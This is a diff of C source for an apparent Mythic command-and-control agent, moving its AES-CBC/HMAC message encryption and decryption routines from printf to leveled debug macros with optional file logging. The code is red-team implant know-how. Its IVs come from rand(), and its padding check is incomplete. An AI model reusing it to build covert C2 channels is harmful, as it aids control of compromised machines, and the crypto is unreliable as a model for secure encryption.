||||||
socks_manager_cleanup();
|
socks_manager_cleanup();
|
||||||
DBG_PRINTF("socks_manager_cleanup() done");
|
_dbg("socks_manager_cleanup() done");
|
||||||
|
|
||||||
// Crear respuesta para Mythic
|
// Crear respuesta para Mythic
|
||||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE); // TRUE agrega UUID del agente automáticamente
|
||||||
|
|||||||
@@ -59,7 +59,7 @@ void crypto_cleanup(void) {
|
|||||||
// Initialize AESPSK key from base64 string (Mythic format)
|
// Initialize AESPSK key from base64 string (Mythic format)
|
||||||
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
||||||
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
|
if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
|
||||||
printf("[CRYPTO] No AESPSK key provided\n");
|
_err("No AESPSK key provided");
|
||||||
g_encryptionEnabled = 0;
|
g_encryptionEnabled = 0;
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -69,12 +69,12 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
|||||||
SIZE_T decoded_len = 0;
|
SIZE_T decoded_len = 0;
|
||||||
|
|
||||||
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
|
if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
|
||||||
printf("[CRYPTO] Failed to decode AESPSK key\n");
|
_err("Failed to decode AESPSK key");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (decoded_len != AES_KEY_SIZE) {
|
if (decoded_len != AES_KEY_SIZE) {
|
||||||
printf("[CRYPTO] AESPSK key length is %zu, expected %d\n", decoded_len, AES_KEY_SIZE);
|
_err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
|
||||||
if (decoded) LocalFree(decoded);
|
if (decoded) LocalFree(decoded);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
@@ -85,7 +85,7 @@ BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
|
|||||||
|
|
||||||
if (decoded) LocalFree(decoded);
|
if (decoded) LocalFree(decoded);
|
||||||
|
|
||||||
printf("[CRYPTO] AESPSK key initialized successfully (encryption enabled)\n");
|
_inf("AESPSK key initialized successfully (encryption enabled)");
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -98,33 +98,32 @@ BOOL crypto_is_encryption_enabled(void) {
|
|||||||
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
|
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
|
||||||
BOOL CryptoMythicEncryptPackage(void* package) {
|
BOOL CryptoMythicEncryptPackage(void* package) {
|
||||||
PPaquete pkg = (PPaquete)package;
|
PPaquete pkg = (PPaquete)package;
|
||||||
printf("[CRYPTO] === CryptoMythicEncryptPackage START ===\n");
|
_inf("=== CryptoMythicEncryptPackage START ===");
|
||||||
|
|
||||||
if (!pkg || !pkg->buffer || pkg->length == 0) {
|
if (!pkg || !pkg->buffer || pkg->length == 0) {
|
||||||
printf("[CRYPTO] ERROR: Invalid package (pkg=%p, buffer=%p, length=%zu)\n",
|
_err("Invalid package (pkg=%p, buffer=%p, length=%zu)",
|
||||||
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
|
pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[CRYPTO] Input package: length=%zu bytes\n", pkg->length);
|
_dbg("Input package: length=%zu bytes", pkg->length);
|
||||||
|
|
||||||
if (!g_aesKeySet) {
|
if (!g_aesKeySet) {
|
||||||
printf("[CRYPTO] ERROR: AES key not set\n");
|
_err("AES key not set");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
printf("[CRYPTO] AES key is set (key length: %d bytes)\n", AES_KEY_SIZE);
|
_dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
|
||||||
|
|
||||||
// Generate random IV
|
// Generate random IV
|
||||||
BYTE iv[IVSIZE];
|
BYTE iv[IVSIZE];
|
||||||
printf("[CRYPTO] Generating random IV (%d bytes)...\n", IVSIZE);
|
_dbg("Generating random IV (%d bytes)...", IVSIZE);
|
||||||
for (int i = 0; i < IVSIZE; i++) {
|
for (int i = 0; i < IVSIZE; i++) {
|
||||||
iv[i] = (BYTE)(rand() % 0xFF);
|
iv[i] = (BYTE)(rand() % 0xFF);
|
||||||
}
|
}
|
||||||
printf("[CRYPTO] IV generated (hex): ");
|
_dbg("IV generated (hex): ");
|
||||||
for (int i = 0; i < IVSIZE; i++) {
|
for (int i = 0; i < IVSIZE; i++) {
|
||||||
printf("%02x ", iv[i]);
|
_dbg(" %02x ", iv[i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Calculate padding needed
|
// Calculate padding needed
|
||||||
SIZE_T datalen = pkg->length;
|
SIZE_T datalen = pkg->length;
|
||||||
@@ -132,139 +131,134 @@ BOOL CryptoMythicEncryptPackage(void* package) {
|
|||||||
if (padding_needed == 0) {
|
if (padding_needed == 0) {
|
||||||
padding_needed = AES_BLOCKLEN;
|
padding_needed = AES_BLOCKLEN;
|
||||||
}
|
}
|
||||||
printf("[CRYPTO] Data length: %zu bytes\n", datalen);
|
_dbg("Data length: %zu bytes", datalen);
|
||||||
printf("[CRYPTO] Padding needed: %zu bytes (block size: %d)\n", padding_needed, AES_BLOCKLEN);
|
_dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
|
||||||
|
|
||||||
// Add padding
|
// Add padding
|
||||||
printf("[CRYPTO] Adding PKCS7 padding...\n");
|
_dbg("Adding PKCS7 padding...");
|
||||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
if (!pkg->buffer) {
|
if (!pkg->buffer) {
|
||||||
printf("[CRYPTO] ERROR: Failed to add padding\n");
|
_err("Failed to add padding");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
|
memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
|
||||||
SIZE_T padded_len = pkg->length + padding_needed;
|
SIZE_T padded_len = pkg->length + padding_needed;
|
||||||
pkg->length = padded_len;
|
pkg->length = padded_len;
|
||||||
printf("[CRYPTO] After padding: %zu bytes\n", padded_len);
|
_dbg("After padding: %zu bytes", padded_len);
|
||||||
|
|
||||||
// Encrypt with AES-256-CBC
|
// Encrypt with AES-256-CBC
|
||||||
printf("[CRYPTO] Initializing AES context with IV...\n");
|
_dbg("Initializing AES context with IV...");
|
||||||
struct AES_ctx ctx;
|
struct AES_ctx ctx;
|
||||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||||
printf("[CRYPTO] Encrypting with AES-256-CBC...\n");
|
_inf("Encrypting with AES-256-CBC...");
|
||||||
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
|
AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
|
||||||
printf("[CRYPTO] Encryption complete, ciphertext: %zu bytes\n", padded_len);
|
_dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
|
||||||
|
|
||||||
// Prepend IV before the encrypted data
|
// Prepend IV before the encrypted data
|
||||||
printf("[CRYPTO] Prepending IV (%d bytes) before ciphertext...\n", IVSIZE);
|
_dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
|
||||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
if (!pkg->buffer) {
|
if (!pkg->buffer) {
|
||||||
printf("[CRYPTO] ERROR: Failed to prepend IV\n");
|
_err("Failed to prepend IV");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
|
memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
|
||||||
memcpy(pkg->buffer, iv, IVSIZE);
|
memcpy(pkg->buffer, iv, IVSIZE);
|
||||||
pkg->length += IVSIZE;
|
pkg->length += IVSIZE;
|
||||||
printf("[CRYPTO] After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)\n",
|
_dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)",
|
||||||
pkg->length, IVSIZE, padded_len);
|
pkg->length, IVSIZE, padded_len);
|
||||||
|
|
||||||
// Calculate HMAC (IV + Ciphertext)
|
// Calculate HMAC (IV + Ciphertext)
|
||||||
printf("[CRYPTO] Calculating HMAC-SHA256 over IV + Ciphertext...\n");
|
_inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
|
||||||
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
|
PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||||
SIZE_T hmac_size = SHA256_HASH_SIZE;
|
SIZE_T hmac_size = SHA256_HASH_SIZE;
|
||||||
|
|
||||||
printf("[CRYPTO] HMAC input length: %zu bytes (for HMAC calculation)\n", pkg->length);
|
_dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
|
||||||
hmac_sha256(
|
hmac_sha256(
|
||||||
g_aesKey, AES_KEY_SIZE,
|
g_aesKey, AES_KEY_SIZE,
|
||||||
pkg->buffer, pkg->length,
|
pkg->buffer, pkg->length,
|
||||||
hmac, hmac_size
|
hmac, hmac_size
|
||||||
);
|
);
|
||||||
|
|
||||||
printf("[CRYPTO] HMAC calculated (hex): ");
|
_dbg("HMAC calculated (hex): ");
|
||||||
for (size_t i = 0; i < hmac_size; i++) {
|
for (size_t i = 0; i < hmac_size; i++) {
|
||||||
printf("%02x ", hmac[i]);
|
_dbg(" %02x ", hmac[i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Append HMAC
|
// Append HMAC
|
||||||
printf("[CRYPTO] Appending HMAC (%zu bytes)...\n", SHA256_HASH_SIZE);
|
_dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
|
||||||
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
|
||||||
if (!pkg->buffer) {
|
if (!pkg->buffer) {
|
||||||
free(hmac);
|
free(hmac);
|
||||||
printf("[CRYPTO] ERROR: Failed to append HMAC\n");
|
_err("Failed to append HMAC");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
|
memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
|
||||||
pkg->length += SHA256_HASH_SIZE;
|
pkg->length += SHA256_HASH_SIZE;
|
||||||
|
|
||||||
free(hmac);
|
free(hmac);
|
||||||
printf("[CRYPTO] === ENCRYPTION COMPLETE ===\n");
|
_inf("=== ENCRYPTION COMPLETE ===");
|
||||||
printf("[CRYPTO] Final encrypted package: %zu bytes\n", pkg->length);
|
_dbg("Final encrypted package: %zu bytes", pkg->length);
|
||||||
printf("[CRYPTO] Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", padded_len);
|
_dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
|
||||||
fflush(stdout);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|
||||||
// AES decrypt parser for Mythic (based on Xenon implementation)
|
// AES decrypt parser for Mythic (based on Xenon implementation)
|
||||||
BOOL CryptoMythicDecryptParser(void* analizador) {
|
BOOL CryptoMythicDecryptParser(void* analizador) {
|
||||||
PAnalizador parser = (PAnalizador)analizador;
|
PAnalizador parser = (PAnalizador)analizador;
|
||||||
printf("[CRYPTO] === CryptoMythicDecryptParser START ===\n");
|
_inf("=== CryptoMythicDecryptParser START ===");
|
||||||
|
|
||||||
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
|
if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
|
||||||
printf("[CRYPTO] ERROR: Invalid parser (parser=%p, buffer=%p, size=%zu)\n",
|
_err("Invalid parser (parser=%p, buffer=%p, size=%zu)",
|
||||||
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
|
parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
|
||||||
printf("[CRYPTO] Minimum required: %d bytes\n", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
|
_err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[CRYPTO] Input parser: size=%zu bytes\n", parser->tamano);
|
_dbg("Input parser: size=%zu bytes", parser->tamano);
|
||||||
|
|
||||||
// Log first bytes of encrypted data
|
// Log first bytes of encrypted data
|
||||||
printf("[CRYPTO] Encrypted data preview (hex, first 64 bytes): ");
|
_dbg("Encrypted data preview (hex, first 64 bytes): ");
|
||||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||||
printf("%02x ", parser->buffer[i]);
|
_dbg(" %02x ", parser->buffer[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
if (!g_aesKeySet) {
|
if (!g_aesKeySet) {
|
||||||
printf("[CRYPTO] ERROR: AES key not set\n");
|
_err("AES key not set");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
printf("[CRYPTO] AES key is set\n");
|
_dbg("AES key is set");
|
||||||
|
|
||||||
// Extract HMAC from end
|
// Extract HMAC from end
|
||||||
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
|
PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
|
||||||
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
|
SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
|
||||||
|
|
||||||
printf("[CRYPTO] === EXTRACTING COMPONENTS ===\n");
|
_dbg("=== EXTRACTING COMPONENTS ===");
|
||||||
printf("[CRYPTO] Total size: %zu bytes\n", parser->tamano);
|
_dbg("Total size: %zu bytes", parser->tamano);
|
||||||
printf("[CRYPTO] HMAC offset: %zu bytes from start\n", parser->tamano - SHA256_HASH_SIZE);
|
_dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
|
||||||
printf("[CRYPTO] Encrypted data length (without IV and HMAC): %zu bytes\n", encrypted_data_length);
|
_dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
|
||||||
printf("[CRYPTO] Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]\n", encrypted_data_length);
|
_dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
|
||||||
|
|
||||||
// Extract and log IV
|
// Extract and log IV
|
||||||
BYTE *iv = parser->buffer;
|
BYTE *iv = parser->buffer;
|
||||||
printf("[CRYPTO] IV (first 16 bytes, hex): ");
|
_dbg("IV (first 16 bytes, hex): ");
|
||||||
for (int i = 0; i < IVSIZE; i++) {
|
for (int i = 0; i < IVSIZE; i++) {
|
||||||
printf("%02x ", iv[i]);
|
_dbg(" %02x ", iv[i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Log HMAC provided
|
// Log HMAC provided
|
||||||
printf("[CRYPTO] HMAC provided (last 32 bytes, hex): ");
|
_dbg("HMAC provided (last 32 bytes, hex): ");
|
||||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||||
printf("%02x ", hmac_provided[i]);
|
_dbg(" %02x ", hmac_provided[i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Verify HMAC
|
// Verify HMAC
|
||||||
printf("[CRYPTO] === VERIFYING HMAC ===\n");
|
_inf("=== VERIFYING HMAC ===");
|
||||||
printf("[CRYPTO] Calculating HMAC over %zu bytes (IV + Ciphertext)\n", IVSIZE + encrypted_data_length);
|
_dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
|
||||||
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
|
PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
|
||||||
if (!hmac_calculated) {
|
if (!hmac_calculated) {
|
||||||
printf("[CRYPTO] ERROR: Failed to allocate HMAC buffer\n");
|
_err("Failed to allocate HMAC buffer");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -274,102 +268,96 @@ BOOL CryptoMythicDecryptParser(void* analizador) {
|
|||||||
hmac_calculated, SHA256_HASH_SIZE
|
hmac_calculated, SHA256_HASH_SIZE
|
||||||
);
|
);
|
||||||
|
|
||||||
printf("[CRYPTO] HMAC calculated (hex): ");
|
_dbg("HMAC calculated (hex): ");
|
||||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||||
printf("%02x ", hmac_calculated[i]);
|
_dbg(" %02x ", hmac_calculated[i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
|
if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
|
||||||
printf("[CRYPTO] === HMAC VERIFICATION FAILED ===\n");
|
_err("=== HMAC VERIFICATION FAILED ===");
|
||||||
printf("[CRYPTO] Provided HMAC: ");
|
_err("Provided HMAC: ");
|
||||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||||
printf("%02x ", hmac_provided[i]);
|
_err(" %02x ", hmac_provided[i]);
|
||||||
}
|
}
|
||||||
printf("\n[CRYPTO] Calculated HMAC: ");
|
_err("Calculated HMAC: ");
|
||||||
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
|
||||||
printf("%02x ", hmac_calculated[i]);
|
_err(" %02x ", hmac_calculated[i]);
|
||||||
}
|
}
|
||||||
printf("\n[CRYPTO] Data used for HMAC calculation (first 48 bytes): ");
|
_dbg("Data used for HMAC calculation (first 48 bytes): ");
|
||||||
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
|
for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
|
||||||
printf("%02x ", parser->buffer[i]);
|
_dbg(" %02x ", parser->buffer[i]);
|
||||||
if ((i + 1) % 16 == 0) printf("\n[CRYPTO] ");
|
if ((i + 1) % 16 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
free(hmac_calculated);
|
free(hmac_calculated);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[CRYPTO] HMAC verification SUCCESS\n");
|
_inf("HMAC verification SUCCESS");
|
||||||
|
|
||||||
free(hmac_calculated);
|
free(hmac_calculated);
|
||||||
|
|
||||||
// Decrypt
|
// Decrypt
|
||||||
printf("[CRYPTO] === DECRYPTING ===\n");
|
_inf("=== DECRYPTING ===");
|
||||||
printf("[CRYPTO] Initializing AES context with IV...\n");
|
_dbg("Initializing AES context with IV...");
|
||||||
struct AES_ctx ctx;
|
struct AES_ctx ctx;
|
||||||
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
AES_init_ctx_iv(&ctx, g_aesKey, iv);
|
||||||
printf("[CRYPTO] Decrypting %zu bytes of ciphertext...\n", encrypted_data_length);
|
_inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
|
||||||
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
|
AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
|
||||||
printf("[CRYPTO] Decryption complete\n");
|
_dbg("Decryption complete");
|
||||||
|
|
||||||
// Log decrypted data before unpadding
|
// Log decrypted data before unpadding
|
||||||
printf("[CRYPTO] Decrypted data (before unpadding, hex, first 64 bytes): ");
|
_dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
|
||||||
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
|
for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
|
||||||
printf("%02x ", parser->buffer[IVSIZE + i]);
|
_dbg(" %02x ", parser->buffer[IVSIZE + i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Remove padding
|
// Remove padding
|
||||||
printf("[CRYPTO] === REMOVING PADDING ===\n");
|
_dbg("=== REMOVING PADDING ===");
|
||||||
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
|
BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
|
||||||
printf("[CRYPTO] Padding length from last byte: %d\n", padding_length);
|
_dbg("Padding length from last byte: %d", padding_length);
|
||||||
printf("[CRYPTO] Last 16 bytes (should show padding): ");
|
_dbg("Last 16 bytes (should show padding): ");
|
||||||
size_t padding_start = IVSIZE + encrypted_data_length - 16;
|
size_t padding_start = IVSIZE + encrypted_data_length - 16;
|
||||||
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
|
for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
|
||||||
printf("%02x ", parser->buffer[padding_start + i]);
|
_dbg(" %02x ", parser->buffer[padding_start + i]);
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
if (padding_length > AES_BLOCKLEN) {
|
if (padding_length > AES_BLOCKLEN) {
|
||||||
printf("[CRYPTO] ERROR: Invalid padding length: %d\n", padding_length);
|
_err("Invalid padding length: %d", padding_length);
|
||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
SIZE_T unpadded_len = encrypted_data_length - padding_length;
|
SIZE_T unpadded_len = encrypted_data_length - padding_length;
|
||||||
|
|
||||||
printf("[CRYPTO] Unpadded length: %zu bytes\n", unpadded_len);
|
_dbg("Unpadded length: %zu bytes", unpadded_len);
|
||||||
|
|
||||||
// Update parser
|
// Update parser
|
||||||
SIZE_T original_size = parser->tamano;
|
SIZE_T original_size = parser->tamano;
|
||||||
printf("[CRYPTO] Moving decrypted data to start of buffer (removing IV)...\n");
|
_dbg("Moving decrypted data to start of buffer (removing IV)...");
|
||||||
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
|
memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
|
||||||
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
|
parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
|
||||||
parser->tamano = unpadded_len;
|
parser->tamano = unpadded_len;
|
||||||
|
|
||||||
// Log final decrypted data
|
// Log final decrypted data
|
||||||
printf("[CRYPTO] === DECRYPTION COMPLETE ===\n");
|
_inf("=== DECRYPTION COMPLETE ===");
|
||||||
printf("[CRYPTO] Final decrypted size: %zu bytes (original encrypted: %zu bytes)\n",
|
_dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)",
|
||||||
parser->tamano, original_size);
|
parser->tamano, original_size);
|
||||||
printf("[CRYPTO] Final decrypted data (hex, first 64 bytes): ");
|
_dbg("Final decrypted data (hex, first 64 bytes): ");
|
||||||
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
|
||||||
printf("%02x ", parser->buffer[i]);
|
_dbg(" %02x ", parser->buffer[i]);
|
||||||
if ((i + 1) % 32 == 0) printf("\n[CRYPTO] ");
|
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||||
}
|
}
|
||||||
printf("\n");
|
|
||||||
|
|
||||||
// Log as ASCII if printable
|
// Log as ASCII if printable
|
||||||
if (parser->tamano > 0) {
|
if (parser->tamano > 0) {
|
||||||
printf("[CRYPTO] First byte: 0x%02X\n", parser->buffer[0]);
|
_dbg("First byte: 0x%02X", parser->buffer[0]);
|
||||||
if (parser->tamano >= 36) {
|
if (parser->tamano >= 36) {
|
||||||
char uuidBuf[37] = {0};
|
char uuidBuf[37] = {0};
|
||||||
memcpy(uuidBuf, parser->buffer, 36);
|
memcpy(uuidBuf, parser->buffer, 36);
|
||||||
printf("[CRYPTO] First 36 bytes (should be UUID if present): %s\n", uuidBuf);
|
_dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
printf("[CRYPTO] Parser decrypted successfully (length: %zu)\n", parser->tamano);
|
_inf("Parser decrypted successfully (length: %zu)", parser->tamano);
|
||||||
fflush(stdout);
|
|
||||||
return TRUE;
|
return TRUE;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,42 +1,83 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
#include <windows.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#if defined(_DEBUG)
|
/* Debug level defines (from DEBUG_LEVEL parameter, set by Makefile):
|
||||||
|
* 0 = NONE - no debug output
|
||||||
|
* 1 = ERR - only _err() messages
|
||||||
|
* 2 = WRN - _err() + _wrn() messages
|
||||||
|
* 3 = INF - _err() + _wrn() + _inf() messages
|
||||||
|
* 4 = ALL - all messages (_err() + _wrn() + _inf() + _dbg())
|
||||||
|
*/
|
||||||
|
|
||||||
|
/* Debug output defines (from DEBUG_OUTPUT parameter, set by Makefile):
|
||||||
|
* 0 = CONSOLE - output to stdout (printf)
|
||||||
|
* 1 = FILE - output to C:\Temp\Ra.log
|
||||||
|
*/
|
||||||
|
|
||||||
|
#if defined(DEBUG_LEVEL) && DEBUG_LEVEL > 0
|
||||||
|
|
||||||
|
/* Debug is enabled - determine which levels are active */
|
||||||
|
#define ENABLE_ERR 1 /* Always enable errors (level >= 1) */
|
||||||
|
#define ENABLE_WRN (DEBUG_LEVEL >= 2)
|
||||||
|
#define ENABLE_INF (DEBUG_LEVEL >= 3)
|
||||||
|
#define ENABLE_DBG (DEBUG_LEVEL >= 4)
|
||||||
|
|
||||||
#define DBG "DBG"
|
#define DBG "DBG"
|
||||||
#define ERR "ERR"
|
#define ERR "ERR"
|
||||||
#define WRN "WRN"
|
#define WRN "WRN"
|
||||||
#define INF "INF"
|
#define INF "INF"
|
||||||
|
|
||||||
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
|
#if defined(DEBUG_OUTPUT) && DEBUG_OUTPUT == 1
|
||||||
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
|
/* File-based logging */
|
||||||
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
|
#define _log(level, format, ...) do { \
|
||||||
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
|
HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0); \
|
||||||
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
|
if (debugFile != INVALID_HANDLE_VALUE) { \
|
||||||
#elif defined(_DEBUG_RELEASE)
|
CHAR out[512] = { 0 }; \
|
||||||
#define DBG
|
DWORD written = 0; \
|
||||||
#define ERR
|
sprintf_s(out, sizeof(out), "[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__); \
|
||||||
#define WRN
|
WriteFile(debugFile, out, (DWORD)strlen(out), &written, NULL); \
|
||||||
#define INF
|
CloseHandle(debugFile); \
|
||||||
